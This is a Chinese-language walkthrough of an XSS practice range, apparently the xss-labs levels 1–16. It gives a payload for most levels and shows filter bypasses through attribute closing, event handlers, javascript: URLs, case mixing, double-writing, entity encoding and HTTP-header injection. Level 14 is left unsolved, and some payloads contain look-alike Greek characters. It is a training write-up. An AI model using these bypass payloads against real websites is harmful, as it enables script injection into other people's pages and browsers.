第一关
直接在URL输入
?name=<script>alert('xss')</script>
第二关
找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击
闭合前面的input标签,在插入代码
payload
"><script>alert('xss')</script>
第三关
依旧输入test找注入点
输入"><script>alert('xss')</script>
htmlspecialchars()转义成HTML实体
但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义
我们可以从单引号测试 payload
'οnclick='window.alert()
第四关
尝试输入<script>alert('xss')</script>
明显的过滤掉了 < >
这里构造payload绕过 < >
"οnclick="window.alert('xss')
第五关
尝试输入<script>alert('xss')</script>
将前面的script变成scr_ipt
用其他语句绕过
输入"onlick="window.alert()
依旧替换 on变成o_n
我们采用JavaScript伪协议
"><a href="javascript:alert('xss')">1</a>
点击 1 成功绕过
第六关
直接测试了一下,过滤了很多,查看源码
我们可以采用大小写混合拼写绕过
"><img Src=x Onerror=alert(1)>
第七关
测试了一下,script跟on等直接没了
推测被替换成空,查看源码
果不其然,替换为空,一般采用双写绕过
"><scrscriptipt>alert('xss')</scrscriptipt>
第八关
输入tes
查看源码,过滤了很多,双引号也被过滤掉了
这里我们只要输入JavaScript:alert(‘xss’)即可
但是script被替换成scr_ipt
我们可以采用编码的形式绕过
payload
javascript:alert() #HTML实体编码(HEX)
javascript:alert() #HTML实体编码(DEC)
这是实体编码 entity code
「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。
第九关
输入test测试一下,test出现在value值里面
查看源码,比之前多了一串,需要添加http://,否则无效
那么就添加http://
/*这是是注释*/
构造payload
javascript:alert()/*http://www.test.com*/
第十关
分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了
构造payload
?t_sort="οnclick="alert()"type="text"
?t_sort="οnclick="alert()"type="text"
第十一关
可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包
payload
t_sort="type="text" οnclick="alert(1)
第十二关
这里是HTTP头中的Uuser-agent进行注入
构造payload
"type="text" οnclick="alert(1)
在User-Agent后面跟随payload即可
第十三关
cookie注入
user=" type="text" οnclick="alert(1)"
第十四关
???待研究
第十五关
ng-include 指令用于包含外部的 HTML 文件
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下
payload
http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'
不知道为什么自己的靶机环境不能跳转出通过(待研究)
第十六关
转义成HTML实体,黑名单容易忽略过滤的字符
payload
?keyword=<img%0asrc=1%0aοnerrοr=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过